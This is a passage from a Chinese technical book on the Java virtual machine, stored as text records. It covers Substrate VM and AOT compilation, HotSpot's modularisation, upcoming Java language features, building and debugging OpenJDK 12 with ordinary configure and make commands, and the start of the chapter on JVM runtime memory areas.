Sharing，AppCDS，允许把加载解析后的类型信息缓存起来，从而提升下次启动速度，原本CDS只支持Java标准库，在JDK 10时的AppCDS开始支持用户的程序代码）、无操作的垃圾收集器（Epsilon，只做内存分配而不做回收的收集器，对于运行完就退出的应用十分合适）等改善措施。而酝酿中的一个更彻底的解决方案，是逐步开始对提前编译（Ahead of Time Compilation，AOT）提供支持。 提前编译是相对于即时编译的概念，提前编译能带来的最大好处是Java虚拟机加载这些已经预编译成二进制库之后就能够直接调用，而无须再等待即时编译器在运行时将其编译成二进制机器码。理论上，提前编译可以减少即时编译带来的预热时间，减少Java应用长期给人带来的“第一次运行慢”的不良体验，可以放心地进行很多全程序的分析行为，可以使用时间压力更大的优化措施 [1] 。 但是提前编译的坏处也很明显，它破坏了Java“一次编写，到处运行”的承诺，必须为每个不同的硬件、操作系统去编译对应的发行包；也显著降低了Java链接过程的动态性，必须要求加载的代码在编译期就是全部已知的，而不能在运行期才确定，否则就只能舍弃掉已经提前编译好的版本，退回到原来的即时编译执行状态。 早在JDK 9时期，Java就提供了实验性的Jaotc命令来进行提前编译，不过多数人试用过后都颇感失望，大家原本期望的是类似于Excelsior JET那样的编译过后能生成本地代码完全脱离Java虚拟机运行的解决方案，但Jaotc其实仅仅是代替即时编译的一部分作用而已，仍需要运行于HotSpot之上。 直到Substrate VM出现，才算是满足了人们心中对Java提前编译的全部期待。Substrate VM是在Graal VM 0.20版本里新出现的一个极小型的运行时环境，包括了独立的异常处理、同步调度、线程管理、内存管理（垃圾收集）和JNI访问等组件，目标是代替HotSpot用来支持提前编译后的程序执行。它还包含了一个本地镜像的构造器（Native Image Generator），用于为用户程序建立基于Substrate VM的本地运行时镜像。这个构造器采用指针分析（Points-To Analysis）技术，从用户提供的程序入口出发，搜索所有可达的代码。在搜索的同时，它还将执行初始化代码，并在最终生成可执行文件时，将已初始化的堆保存至一个堆快照之中。这样一来，Substrate VM就可以直接从目标程序开始运行，而无须重复进行Java虚拟机的初始化过程。但相应地，原理上也决定了Substrate VM必须要求目标程序是完全封闭的，即不能动态加载其他编译器不可知的代码和类库。基于这个假设，Substrate VM才能探索整个编译空间，并通过静态分析推算出所有虚方法调用的目标方法。 Substrate VM带来的好处是能显著降低内存占用及启动时间，由于HotSpot本身就会有一定的内存消耗（通常约几十MB），这对最低也从几GB内存起步的大型单体应用来说并不算什么，但在微服务下就是一笔不可忽视的成本。根据Oracle官方给出的测试数据，运行在Substrate VM上的小规模应用，其内存占用和启动时间与运行在HotSpot上相比有5倍到50倍的下降，具体结果如图1-5和图1-6所示。 图1-5 内存占用对比 Substrate VM补全了Graal VM“Run Programs Faster Anywhere”愿景蓝图里的最后一块拼图，让Graal VM支持其他语言时不会有重量级的运行负担。譬如运行JavaScript代码，Node.js的V8引擎执行效率非常高，但即使是最简单的HelloWorld，它也要使用约20MB的内存，而运行在Substrate VM上的Graal.js，跑一个HelloWorld则只需要4.2MB内存，且运行速度与V8持平。Substrate VM的轻量特性，使得它十分适合嵌入其他系统，譬如Oracle自家的数据库就已经开始使用这种方式支持用不同的语言代替PL/SQL来编写存储过程 [2] 。在本书第11章还会再详细讨论提前编译的相关内容。 图1-6 启动时间对比 [1] 由于AOT编译没有运行时的监控信息，很多由运行信息统计进行向导的优化措施不能使用，所以尽管没有编译时间的压力，效果也不一定就比JIT更好。 [2] Oracle Database MLE，从Oracle 12c开始支持，详见https://oracle.github.io/oracle-db-mle。"},
    {"text": "1.5.4 灵活的胖子 即使HotSpot最初设计时考虑得再长远，大概也不会想到这个虚拟机将在未来的二十年内一直保持长盛不衰。这二十年间有无数改进和功能被不断地添加到HotSpot的源代码上，致使它成长为今天这样的庞然大物。 HotSpot的定位是面向各种不同应用场景的全功能Java虚拟机 [1] ，这是一个极高的要求，仿佛是让一个胖子能拥有敏捷的身手一样的矛盾。如果是持续跟踪近几年OpenJDK的代码变化的人，相信都感觉到了HotSpot开发团队正在持续地重构着HotSpot的架构，让它具有模块化的能力和足够的开放性。模块化 [2] 方面原本是HotSpot的弱项，监控、执行、编译、内存管理等多个子系统的代码相互纠缠。而IBM的J9就一直做得就非常好，面向Java ME的J9虚拟机与面向Java EE的J9虚拟机可以是完全由同一套代码库编译出来的产品，只有编译时选择的模块配置有所差别。 现在，HotSpot虚拟机也有了与J9类似的能力，能够在编译时指定一系列特性开关，让编译输出的HotSpot虚拟机可以裁剪成不同的功能，譬如支持哪些编译器，支持哪些收集器，是否支持JFR、AOT、CDS、NMT等都可以选择。能够实现这些功能特性的组合拆分，反映到源代码不仅仅是条件编译，更关键的是接口与实现的分离。 早期（JDK 1.4时代及之前）的HotSpot虚拟机为了提供监控、调试等不会在《Java虚拟机规范》中约定的内部功能和数据，就曾开放过Java虚拟机信息监控接口（Java Virtual Machine Profiler Interface，JVMPI）与Java虚拟机调试接口（Java Virtual Machine Debug Interface，JVMDI）供运维和性能监控、IDE等外部工具使用。到了JDK 5时期，又抽象出了层次更高的Java虚拟机工具接口（Java Virtual Machine Tool Interface，JVMTI）来为所有Java虚拟机相关的工具提供本地编程接口集合，到JDK 6时JVMTI就完全整合代替了JVMPI和JVMDI的作用。 在JDK 9时期，HotSpot虚拟机开放了Java语言级别的编译器接口 [3] （Java Virtual Machine Compiler Interface，JVMCI），使得在Java虚拟机外部增加、替换即时编译器成为可能，这个改进实现起来并不费劲，但比起之前JVMPI、JVMDI和JVMTI却是更深层次的开放，它为不侵入HotSpot代码而增加或修改HotSpot虚拟机的固有功能逻辑提供了可行性。Graal编译器就是通过这个接口植入到HotSpot之中。 到了JDK 10，HotSpot又重构了Java虚拟机的垃圾收集器接口 [4] （Java Virtual Machine Compiler Interface），统一了其内部各款垃圾收集器的公共行为。有了这个接口，才可能存在日后（今天尚未）某个版本中的CMS收集器退役，和JDK 12中Shenandoah这样由Oracle以外其他厂商领导开发的垃圾收集器进入HotSpot中的事情。如果未来这个接口完全开放的话，甚至有可能会出现其他独立于HotSpot的垃圾收集器实现。 经过一系列的重构与开放，HotSpot虚拟机逐渐从时间的侵蚀中挣脱出来，虽然代码复杂度还在增长，体积仍在变大，但其架构并未老朽，而是拥有了越来越多的开放性和扩展性，使得HotSpot成为一个能够联动外部功能，能够应对各种场景，能够学会十八般武艺的身手灵活敏捷的“胖子”。 [1] 定位J9做到了，HotSpot实际上并未做到，譬如在Java ME中的虚拟机就不是HotSpot，而是CDC-HI/CLDC-HI。 [2] 这里指虚拟机本身的模块化，与Jigsaw无关。 [3] 并不是指内部代码上统一C1、C2的编译器接口，而是特指会开放给外部的、使用Java语言实现的编译器接口。 [4] 这个接口目前只在HotSpot内部使用，并未对外开放，所以也就没有JVMGI的提法。"},
    {"text": "1.5.5 语言语法持续增强 笔者将语言的功能特性和语法放到最后来讲，因为它是相对最不重要的改进点，毕竟连JavaScript这种“反人类”的语法都能获得如此巨大的成功，而比Java语法先进优雅得多的挑战者C#现在已经“江湖日下”，成了末路英雄 [1] 。 但一门语言的功能、语法又是影响语言生产力和效率的重要因素，很多语言特性和语法糖不论有没有，程序也照样能写，但即使只是可有可无的语法糖，也是直接影响语言使用者的幸福感程度的关键指标。JDK 7的Coins项目结束以后，Java社区又创建了另外一个新的语言特性改进项目Amber，JDK 10至13里面提供的新语法改进基本都来自于这个项目，譬如： ·JEP 286：Local-Variable Type Inference，在JDK 10中提供，本地类型变量推断。 ·JEP 323：Local-Variable Syntax for Lambda Parameters，在JDK 11中提供，JEP 286的加强，使它可以用在Lambda中。 ·JEP 325：Switch Expressions，在JDK 13中提供，实现switch语句的表达式支持。 ·JEP 335：Text Blocks，在JDK 13中提供，支持文本块功能，可以节省拼接HTML、SQL等场景里大量的“+”操作。 还有一些是仍然处于草稿状态或者暂未列入发布范围的JEP，可供我们窥探未来Java语法的变化，譬如： ·JEP 301：Enhanced Enums，允许常量类绑定数据类型，携带额外的信息。 ·JEP 302：Lambda Leftovers，用下划线来表示Lambda中的匿名参数。 ·JEP 305：Pattern Matching for instanceof，用instanceof判断过的类型，在条件分支里面可以不需要做强类型转换就能直接使用。 除语法糖以外，语言的功能也在持续改进之中，以下几个项目是目前比较明确的，也是受到较多关注的功能改进计划： ·Project Loom：现在的Java做并发处理的最小调度单位是线程，Java线程的调度是直接由操作系统内核提供的（这方面的内容可见本书第12章），会有核心态、用户态的切换开销。而很多其他语言都提供了更加轻量级的、由软件自身进行调度的用户线程（曾经非常早期的Java也有绿色线程），譬如Golang的Groutine、D语言的Fiber等。Loom项目就准备提供一套与目前Thread类API非常接近的Fiber实现。 ·Project Valhalla：提供值类型和基本类型的泛型支持，并提供明确的不可变类型和非引用类型的声明。值类型的作用和价值在本书第10章会专门讨论，而不可变类型在并发编程中能带来很多好处，没有数据竞争风险带来了更好的性能。一些语言（如Scala）就有明确的不可变类型声明，而Java中只能在定义类时将全部字段声明为final来间接实现。基本类型的范型支持是指在泛型中引用基本数据类型不需要自动装箱和拆箱，避免性能损耗。 ·Project Panama：目的是消弭Java虚拟机与本地代码之间的界线。现在Java代码可以通过JNI来调用本地代码，这点在与硬件交互频繁的场合尤其常用（譬如Android）。但是JNI的调用方式充其量只能说是达到能用的标准而已，使用起来仍相当烦琐，频繁执行的性能开销也非常高昂，Panama项目的目标就是提供更好的方式让Java代码与本地代码进行调用和传输数据。 随着Java每半年更新一次的节奏，新版本的Java中会出现越来越多其他语言里已有的优秀特性，相信博采众长的Java，还能继续保持现在的勃勃生机相当长时间。 [1] 笔者个人观点，读者请勿从“反人类”“江湖日下”这些词语中挑起语言战争。毕竟“PHP是世界上最好的语言”（梗）。 1.6 实战：自己编译JDK 想要窥探Java虚拟机内部的实现原理，最直接的一条路径就是编译一套自己的JDK，通过阅读和跟踪调试JDK源码来了解Java技术体系的运作，虽然这样门槛会比阅读资料更高一点，但肯定也会比阅读各种文章、书籍来得更加贴近本质。此外，Java类库里的很多底层方法都是Native的，在了解这些方法的运作过程，或对JDK进行Hack（根据需要进行定制微调）的时候，都需要有能自行编译、调试虚拟机代码的能力。 现在网络上有不少开源的JDK实现可以供我们选择，但毫无疑问OpenJDK是使用得最广泛的JDK，我们也将选择OpenJDK来进行这次编译实战。"},
    {"text": "1.6.1 获取源码 编译源码之前，我们要先明确OpenJDK和OracleJDK之间、OpenJDK的各个不同版本之间存在什么联系，这有助于确定接下来编译要使用的JDK版本和源码分支，也有助于理解我们编译出来的JDK与Oracle官方提供的JDK有什么差异。 从前面介绍的Java发展史中我们已经知道OpenJDK是Sun公司在2006年年末把Java开源而形成的项目，这里的“开源”是通常意义上的源码开放形式，即源码是可被复用的，例如OracleJDK、Oracle OpenJDK、AdoptOpenJDK、Azul Zulu、SAP SapMachine、Amazon Corretto、IcedTea、UltraViolet等都是从OpenJDK源码衍生出的发行版。 但如果仅从“开源”字面意义（开放可阅读的源码）上讲的话，其实Sun公司自JDK 5时代起就曾经以JRL（Java Research License）的形式公开过Java的源码，主要是开放给研究人员阅读使用，这种JRL许可证的开放源码一直持续到JDK 6 Update 23才因OpenJDK项目日渐成熟而终止。 如果拿OpenJDK中的源码跟对应版本的JRL许可证形式开放的Sun/OracleJDK源码互相比较的话，会发现除了文件头的版权注释之外，其余代码几乎都是相同的，只有少量涉及引用第三方的代码存在差异，如字体栅格化渲染，这部分内容OracleJDK采用了商业实现，源码版权不属于Oracle自己，所以也无权开源，而OpenJDK中使用的是同样开源的FreeType代替。 当然，笔者说的“代码相同”必须建立在两者共有的组件基础之上，OpenJDK中的源码仓库只包含了标准Java SE的源代码，而一些额外的模块，典型的如JavaFX，虽然后来也是被Oracle开源并放到OpenJDK组织进行管理（OpenJFX项目），但是它是存放在独立的源码仓库中，因此OracleJDK的安装包中会包含JavaFX这种独立的模块，而用OpenJDK的话则需要单独下载安装。"},
    {"text": "例如JDK 8起从JRockit移植改造而来的Java Flight Recorder和Java Mission Control组件、JDK 10中的应用类型共享功能（AppCDS）和JDK 11中的ZGC收集器，这些功能在JDK 11时才全部开源到了OpenJDK中。"},
    {"text": "到了这个阶段，我们已经可以认为OpenJDK与OracleJDK代码实质上 [1] 已达到完全一致的程度。 根据Oracle的项目发布经理Joe Darcy在OSCON大会上对两者关系的介绍 [2] 也证实了OpenJDK和OracleJDK在程序上是非常接近的，两者共用了绝大部分相同的代码（如图1-7所示，注意图中的英文提示了两者共同代码的占比要远高于图形上看到的比例），所以我们编译的OpenJDK，基本上可以认为性能、功能和执行逻辑上都和官方的OracleJDK是一致的。 图1-7 OpenJDK和OracleJDK之间的关系 下面再来看一下OpenJDK内部不同版本之间的关系，在OpenJDK接收Sun公司移交的JDK源码时，Java正处于JDK 6时代的初期，JDK 6 Update 1才刚刚发布不久，JDK 7则还完全处于研发状态的半成品。 OpenJDK的第一个版本就是来自于当时Sun公司正在开发的JDK 7，考虑到OpenJDK 7的状况在当时完全不足以支持实际的生产部署，因此又在OpenJDK 7 Build 22的基础上建立了一条新的OpenJDK 6分支，剥离掉所有JDK 7新功能的代码，形成一个可以通过TCK 6测试的独立分支，先把OpenJDK 6发布出去给公众使用。 等到OpenJDK 7达到了可正式对外发布的状态之后，就从OpenJDK 7的主分支延伸出用于研发下一代Java版本的OpenJDK 8以及用于发布更新补丁的OpenJDK 7 Update两条子分支，按照开发习惯，新的功能或Bug修复通常是在最新分支上进行的，当功能或修复在最新分支上稳定之后会同步到其他老版本的维护分支上。"},
    {"text": "到了JDK 10及以后的版本，在组织上出现了一些新变化，此时全部开发工作统一归属到JDK和JDK Updates两条主分支上，主分支不再带版本号，在内部再用子分支来区分具体的JDK版本。"},
    {"text": "OpenJDK不同版本的源码都可以在它们的主页（ http://openjdk.java.net/ ）上找到，在本次编译实践中，笔者选用的版本是OpenJDK 12。 图1-8 OpenJDK版本之间的关系 获取OpenJDK源码有两种方式。 一是通过Mercurial代码版本管理工具从Repository中直接取得源码（Repository地址： https://hg.openjdk.java.net/jdk/jdk12 ），获取过程如以下命令所示： hg clone https://hg.openjdk.java.net/jdk/jdk12 这是直接取得OpenJDK源码的方式，从版本管理中看变更轨迹也能够更精确地了解到Java代码发生的变化，但弊端是在中国访问的速度实在太慢，虽然代码总量只有几百MB，无奈文件数量将近十万，而且仓库没有国内的CDN节点。"},
    {"text": "另外，考虑到Mercurial远不如Git常用，甚至普及程度还不如SVN、ClearCase以及更古老的CVS等版本控制工具，对于大多数读者，笔者建议采用第二种方式，即直接在仓库中打包出源码压缩包，再进行下载。"},
    {"text": "读者可以直接访问准备下载的JDK版本的仓库页面（譬如本例中OpenJDK 12的页面为 https://hg.openjdk.java.net/jdk/jdk12/ ），然后点击左边菜单中的“Browse”，将显示如图1-9的源码根目录页面。"},
    {"text": "[1] 严格来说，这里“实质上”可以理解为除去一些版权信息（如java-version的输出）、除去针对Oracle自身特殊硬件平台的适配、除去JDK 12中OracleJDK排除了Shenandoah这类特意设置的差异之外是一致的。"},
    {"text": "1.6.2 系统需求 如果可能，笔者建议尽量在Linux或者MacOS上构建OpenJDK，这两个系统在准备构建工具链和依赖项上要比在Windows或Solaris平台上要容易许多，本篇实践中笔者将以Ubuntu 18.04 LTS为平台进行构建。如果读者确实有在Windows平台上完成编译的需求，或需要编译较老版本的OpenJDK，可参考本书附录A，这篇附录是本书第1版中介绍如何在Windows下编译OpenJDK 6的实践例子，虽然里面的部分内容已经过时了（例如安装Plug部分），但对Windows上构建安装环境和较老版本的OpenJDK编译还是有一定参考意义的，所以笔者并没有把它删除掉，而是挪到附录之中。 图1-9 JDK 12的根目录 无论在什么平台下进行编译，都建议读者认真阅读一遍源码中的doc/building.html文档，编译过程中需要注意的细节较多，如果读者是第一次编译OpenJDK，那有可能会在一些小问题上耗费许多时间。在本次编译中采用的是64位操作系统，默认参数下编译出来的也是64位的OpenJDK，如果需要编译32位版本，笔者同样推荐在64位的操作系统上进行，理由是编译过程可以使用更大内存（32位系统受4G内存限制），通过编译参数（--with-target-bits=32）来指定需要生成32位编译结果即可。在官方文档上要求编译OpenJDK至少需要2～4GB的内存空间（CPU核心数越多，需要的内存越大），而且至少要6～8GB的空闲磁盘空间，不要看OpenJDK源码的大小只有不到600MB，要完成编译，过程中会产生大量的中间文件，并且编译出不同优化级别（Product、FastDebug、SlowDebug）的HotSpot虚拟机可能要重复生成这些中间文件，这都会占用大量磁盘空间。 对系统环境的最后一点建议是，所有的文件，包括源码和依赖项目，都不要放在包含中文的目录里面，这样做不是一定会产生不可解决的问题，只是没有必要给自己找麻烦。 1.6.3 构建编译环境 在MacOS [1] 和Linux上构建OpenJDK编译环境相对简单，对于MacOS，需要MacOS X 10.13版本以上，并安装好最新版本的XCode和Command Line Tools for XCode（在Apple Developer网站 [2] 上可以免费下载），这两个SDK提供了OpenJDK所需的CLang编译器以及Makefile中用到的其他外部命令。 对于Linux系统，要准备的依赖与MacOS类似，在MacOS中CLang编译器来源于XCode SDK，而Ubuntu里用户可以自行选择安装GCC或CLang来进行编译，但必须确保最低的版本为GCC 4.8或者CLang 3.2以上，官方推荐使用GCC 7.8或者CLang 9.1来完成编译。在Ubuntu系统上安装GCC的命令为： sudo apt-get install build-essential 在编译过程中需要依赖FreeType、CUPS等若干第三方库，OpenJDK全部的依赖库已在表1-1中列出，读者可执行相应的安装命令完成安装。 表1-1 OpenJDK编译依赖库 最后，假设要编译大版本号为N的JDK，我们还要另外准备一个大版本号至少为N-1的、已经编译好的JDK，这是因为OpenJDK由多个部分（HotSpot、JDK类库、JAXWS、JAXP……）构成，其中一部分（HotSpot）代码使用C、C++编写，而更多的代码则是使用Java语言来实现，因此编译这些Java代码就需要用到另一个编译期可用的JDK，官方称这个JDK为“Bootstrap JDK”。编译OpenJDK 12时，Bootstrap JDK必须使用JDK 11及之后的版本。在Ubuntu中使用以下命令安装OpenJDK 11： sudo apt-get install openjdk-11-jdk [1] 注意，在OpenJDK 7u4和之后的版本才能编译出MacOS系统下的JDK包，之前的版本虽然在源码和编译脚本中也包含了MacOS目录，但是尚未完善。 [2] https://developer.apple.com/。"},
    {"text": "1.6.4 进行编译 需要下载的编译环境和依赖项目都齐备后，我们就可以按照默认配置来开始编译了，但通常我们编译OpenJDK的目的都不仅仅是为了得到在自己机器中诞生的编译成品，而是带着调试、定制化等需求，这样就必须了解OpenJDK提供的编译参数才行，这些参数可以使用“bash configure--help”命令查询到，笔者对它们中最有用的部分简要说明如下： ·--with-debug-level=<level>：设置编译的级别，可选值为release、fastdebug、slowde-bug，越往后进行的优化措施就越少，带的调试信息就越多。"},
    {"text": "·--enable-debug：等效于--with-debug-level=fastdebug。 ·--with-native-debug-symbols=<method>：确定调试符号信息的编译方式，可选值为none、internal、external、zipped。"},
    {"text": "·--with-version-string=<string>：设置编译JDK的版本号，譬如java-version的输出就会显示该信息。 这个参数还有--with-version-<part>=<value>的形式，其中part可以是pre、opt、build、major、minor、security、patch之一，用于设置版本号的某一个部分。"},
    {"text": "·--with-jvm-variants=<variant>[，<variant>...]：编译特定模式（Variants）的HotSpot虚拟机，可以多个模式并存，可选值为server、client、minimal、core、zero、custom。 ·--with-jvm-features=<feature>[，<feature>...]：针对--with-jvm-variants=custom时的自定义虚拟机特性列表（Features），可以多个特性并存，由于可选值较多，请参见help命令输出。"},
    {"text": "·--with-extra-<flagtype>=<flags>：用于设定C、C++和Java代码编译时的额外编译器参数，其中flagtype可选值为cflags、cxxflags、ldflags，分别代表C、C++和Java代码的参数。"},
    {"text": "·--with-conf-name=<name>：指定编译配置名称，OpenJDK支持使用不同的配置进行编译，默认会根据编译的操作系统、指令集架构、调试级别自动生成一个配置名称，譬如“linux-x86_64-server-release”，如果在这些信息都相同的情况下保存不同的编译参数配置，就需要使用这个参数来自定义配置名称。 以上是configure命令的部分参数，其他未介绍到的可以使用“bash configure--help”来查看，所有参数均通过以下形式使用： bash configure [options] 譬如，编译FastDebug版、仅含Server模式的HotSpot虚拟机，命令应为： bash configure --enable-debug --with-jvm-variants=server configure命令承担了依赖项检查、参数配置和构建输出目录结构等多项职责，如果编译过程中需要的工具链或者依赖项有缺失，命令执行后将会得到明确的提示，并且给出该依赖的安装命令，这比编译旧版OpenJDK时的“make sanity”检查要友好得多，譬如以下例子所示： configure: error: Could not find fontconfig! You might be able to fix this by running 'sudo apt-get install libfontconfig1-dev'. configure exiting with result code 1 如果一切顺利的话，就会收到配置成功的提示，并且输出调试级别，Java虚拟机的模式、特性，使用的编译器版本等配置摘要信息，如下所示： A new configuration has been successfully created in /home/icyfenix/develop/java/jdk12/build/linux-x86_64-server-release using default settings. Configuration summary: * Debug level: release * HS debug level: product * JVM variants: server * JVM features: server: 'aot cds cmsgc compiler1 compiler2 epsilongc g1gc graal jfr jni-check jvmci jvmti management nmt parallelgc serialgc services shenandoahgc vm-structs zgc' * OpenJDK target: OS: linux, CPU architecture: x86, address length: 64 * Version string: 12-internal+0-adhoc.icyfenix.jdk12 (12-internal) Tools summary: * Boot JDK: openjdk version \"11.0.3\" 2019-04-16 OpenJDK Runtime Environment (build 11.0.3+7-Ubuntu-1ubuntu218.04.1) OpenJDK 64-Bit Server VM (build 11.0.3+7-Ubuntu-1ubuntu218.04.1, mixed mode, sharing) (at /usr/lib/jvm/java-11-openjdk-amd64) * Toolchain: gcc (GNU Compiler Collection) * C Compiler: Version 7.4.0 (at /usr/bin/gcc) * C++ Compiler: Version 7.4.0 (at /usr/bin/g++) Build performance summary: * Cores to use: 4 * Memory limit: 7976 MB 在configure命令以及后面的make命令的执行过程中，会在“build/配置名称”目录下产生如下目录结构。"},
    {"text": "不常使用C/C++的读者要特别注意，如果多次编译，或者目录结构成功产生后又再次修改了配置，必须先使用“make clean”和“make dist-clean”命令清理目录，才能确保新的配置生效。"},
    {"text": "编译产生的目录结构以及用途如下所示： buildtools/：用于生成、存放编译过程中用到的工具 hotspot/：HotSpot虚拟机编译的中间文件 images/：使用make *-image产生的镜像存放在这里 jdk/：编译后产生的JDK就放在这里 support/：存放编译时产生的中间文件 test-results/：存放编译后的自动化测试结果 configure-support/：这三个目录是存放执行configure、make和test的临时文件 make-support/ test-support/ 依赖检查通过后便可以输入“make images”执行整个OpenJDK编译了，这里“images”是“product-images”编译目标（Target）的简写别名，这个目标的作用是编译出整个JDK镜像，除了“product-images”以外，其他编译目标还有： hotspot：只编译HotSpot虚拟机 hotspot-<variant>：只编译特定模式的HotSpot虚拟机 docs-image：产生JDK的文档镜像 test-image：产生JDK的测试镜像 all-images：相当于连续调用product、docs、test三个编译目标 bootcycle-images：编译两次JDK，其中第二次使用第一次的编译结果作为Bootstrap JDK clean：清理make命令产生的临时文件 dist-clean：清理make和configure命令产生的临时文件 笔者使用Oracle VM VirtualBox虚拟机，启动4条编译线程，8GB内存，全量编译整个OpenJDK 12大概需近15分钟时间，如果之前已经全量编译过，只是修改了少量文件的话，增量编译可以在数十秒内完成。 编译完成之后，进入OpenJDK源码的“build/配置名称/jdk”目录下就可以看到OpenJDK的完整编译结果了，把它复制到JAVA_HOME目录，就可以作为一个完整的JDK来使用，如果没有人为设置过JDK开发版本的话，这个JDK的开发版本号里默认会带上编译的机器名，如下所示： > ./java -version openjdk version \"12-internal\" 2019-03-19 OpenJDK Runtime Environment (build 12-internal+0-adhoc.icyfenix.jdk12) OpenJDK 64-Bit Server VM (build 12-internal+0-adhoc.icyfenix.jdk12, mixed mode)"},
    {"text": "1.6.5 在IDE工具中进行源码调试 我们在阅读OpenJDK源码的过程中，肯定会运行和跟踪调试程序来帮助理解。现在我们已学会了如何编译一个可调试版本HotSpot虚拟机，并禁用优化，带有符号信息，这样的编译结果已经可以直接使用GDB在命令行中进行调试了。据笔者所知，不少对Java虚拟机研发接触比较多的开发人员确实就是使用GDB和VIM编辑器来开发、修改HotSpot源码的，不过相信大多数读者都还是更倾向于在IDE环境而不是纯文本下阅读、跟踪HotSpot源码。为此，本节将会讲解如何在IDE中进行HotSpot源码调试。 在本次实战里，笔者采用的IDE是JetBrains的CLion 2019.1，读者可以在JetBrains网站 [1] 上直接下载并免费使用30天，如果希望使用其他IDE，譬如Eclipst CDT或者Net-Beans，可以参考本书第2版中相同章节的内容，为节省篇幅笔者就没有把它放到附录中了。 CLion安装后，新建一个项目，选择“New CMake Project from Sources”，在源码文件夹中填入OpenJDK源码根目录，此时，CLion已经自动选择好了需要导入的源码，如图1-10所示。点击OK按钮就会导入源码并自动创建好CMakeLists.txt文件。 图1-10 在CLion中创建HotSpot项目（1） 这份自动生成的CMakeLists.txt并不能直接使用，OpenJDK本身也没有为任何IDE提供支持，但如果只是为了能够在CLion中跟踪、阅读源码，而不需要修改重新编译的话，那直接在Run/Debug Configurations中增加一个CMake Application，然后Executable选择我们刚才编译出来的FastDebug或者SlowDebug版的java命令，运行参数加上-version或者某个Class文件的路径，再把Before launch里面的Build去掉，就可以开始运行调试了，如图1-11所示。 图1-11 在NetBeans中创建HotSpot项目（2） 不过如果读者需要在CLion中修改源码，并重新编译产生新的JDK，又或者不想阅读时看见一堆头文件缺失提示的话，那还是需要把CMakeLists.txt修好，在GitHub上已经有现成的 [2] 参考，读者可以直接下载，内容较多，篇幅所限，笔者就不在本文中列出了。 读者在调试Java代码执行时，如果要跟踪具体Java代码在虚拟机中是如何执行的，一开始可能会觉得有些无处入手，因为目前HotSpot在主流的操作系统上，都采用模板解释器来执行字节码，它与即时编译器一样，最终执行的汇编代码都是运行期间产生的，无法直接设置断点，所以HotSpot增加了以下参数来方便开发人员调试解释器： -XX:+TraceBytecodes -XX:StopInterpreterAt=<n> 这组参数的作用是当遇到序号为<n>的字节码指令时，便会中断程序执行，进入断点调试。调试解释器部分代码时，把这两个参数加到java命令的参数后面即可。 完成以上配置之后，一个可修改、编译、调试的HotSpot工程就完全建立起来了，Hot-Spot虚拟机启动器的执行入口是java.c的JavaMain()方法，读者可以设置断点单步跟踪，如图1-12所示。 图1-12 在CLion中创建HotSpot项目（3） [1] 官网地址：https://www.jetbrains.com/clion/。 [2] https://github.com/ojdkbuild/ojdkbuild/blob/master/src/java-12-openjdk/CMakeLists.txt。 1.7 本章小结 本章介绍了Java技术体系的过去、现在和未来的发展趋势，并在实践中介绍了如何自己编译一个OpenJDK 12。作为全书的引言部分，本章建立了后文研究所必需的环境。在了解Java技术的来龙去脉后，后面章节将分为四部分去介绍Java在“自动内存管理”“Class文件结构与执行引擎”“编译器优化”及“多线程并发”方面的实现原理。 第二部分 自动内存管理 ·第2章 Java内存区域与内存溢出异常 ·第3章 垃圾收集器与内存分配策略 ·第4章 虚拟机性能监控、故障处理工具 ·第5章 调优案例分析与实战 第2章 Java内存区域与内存溢出异常 Java与C++之间有一堵由内存动态分配和垃圾收集技术所围成的高墙，墙外面的人想进去，墙里面的人却想出来。 2.1 概述 对于从事C、C++程序开发的开发人员来说，在内存管理领域，他们既是拥有最高权力的“皇帝”，又是从事最基础工作的劳动人民——既拥有每一个对象的“所有权”，又担负着每一个对象生命从开始到终结的维护责任。 对于Java程序员来说，在虚拟机自动内存管理机制的帮助下，不再需要为每一个new操作去写配对的delete/free代码，不容易出现内存泄漏和内存溢出问题，看起来由虚拟机管理内存一切都很美好。不过，也正是因为Java程序员把控制内存的权力交给了Java虚拟机，一旦出现内存泄漏和溢出方面的问题，如果不了解虚拟机是怎样使用内存的，那排查错误、修正问题将会成为一项异常艰难的工作。 本章是第二部分的第1章，笔者将从概念上介绍Java虚拟机内存的各个区域，讲解这些区域的作用、服务对象以及其中可能产生的问题，这也是翻越虚拟机内存管理这堵围墙的第一步。 2.2 运行时数据区域 Java虚拟机在执行Java程序的过程中会把它所管理的内存划分为若干个不同的数据区域。这些区域有各自的用途，以及创建和销毁的时间，有的区域随着虚拟机进程的启动而一直存在，有些区域则是依赖用户线程的启动和结束而建立和销毁。根据《Java虚拟机规范》的规定，Java虚拟机所管理的内存将会包括以下几个运行时数据区域，如图2-1所示。 图2-1 Java虚拟机运行时数据区"},
    {"text": "2.2.1 程序计数器 程序计数器（Program Counter Register）是一块较小的内存空间，它可以看作是当前线程所执行的字节码的行号指示器。在Java虚拟机的概念模型里 [1] ，字节码解释器工作时就是通过改变这个计数器的值来选取下一条需要执行的字节码指令，它是程序控制流的指示器，分支、循环、跳转、异常处理、线程恢复等基础功能都需要依赖这个计数器来完成。 由于Java虚拟机的多线程是通过线程轮流切换、分配处理器执行时间的方式来实现的，在任何一个确定的时刻，一个处理器（对于多核处理器来说是一个内核）都只会执行一条线程中的指令。因此，为了线程切换后能恢复到正确的执行位置，每条线程都需要有一个独立的程序计数器，各条线程之间计数器互不影响，独立存储，我们称这类内存区域为“线程私有”的内存。 如果线程正在执行的是一个Java方法，这个计数器记录的是正在执行的虚拟机字节码指令的地址；如果正在执行的是本地（Native）方法，这个计数器值则应为空（Undefined）。此内存区域是唯一一个在《Java虚拟机规范》中没有规定任何OutOfMemoryError情况的区域。 [1] “概念模型”这个词会经常被提及，它代表了所有虚拟机的统一外观，但各款具体的Java虚拟机并不一定要完全照着概念模型的定义来进行设计，可能会通过一些更高效率的等价方式去实现它。 2.2.2 Java虚拟机栈 与程序计数器一样，Java虚拟机栈（Java Virtual Machine Stack）也是线程私有的，它的生命周期与线程相同。虚拟机栈描述的是Java方法执行的线程内存模型：每个方法被执行的时候，Java虚拟机都会同步创建一个栈帧 [1] （Stack Frame）用于存储局部变量表、操作数栈、动态连接、方法出口等信息。每一个方法被调用直至执行完毕的过程，就对应着一个栈帧在虚拟机栈中从入栈到出栈的过程。 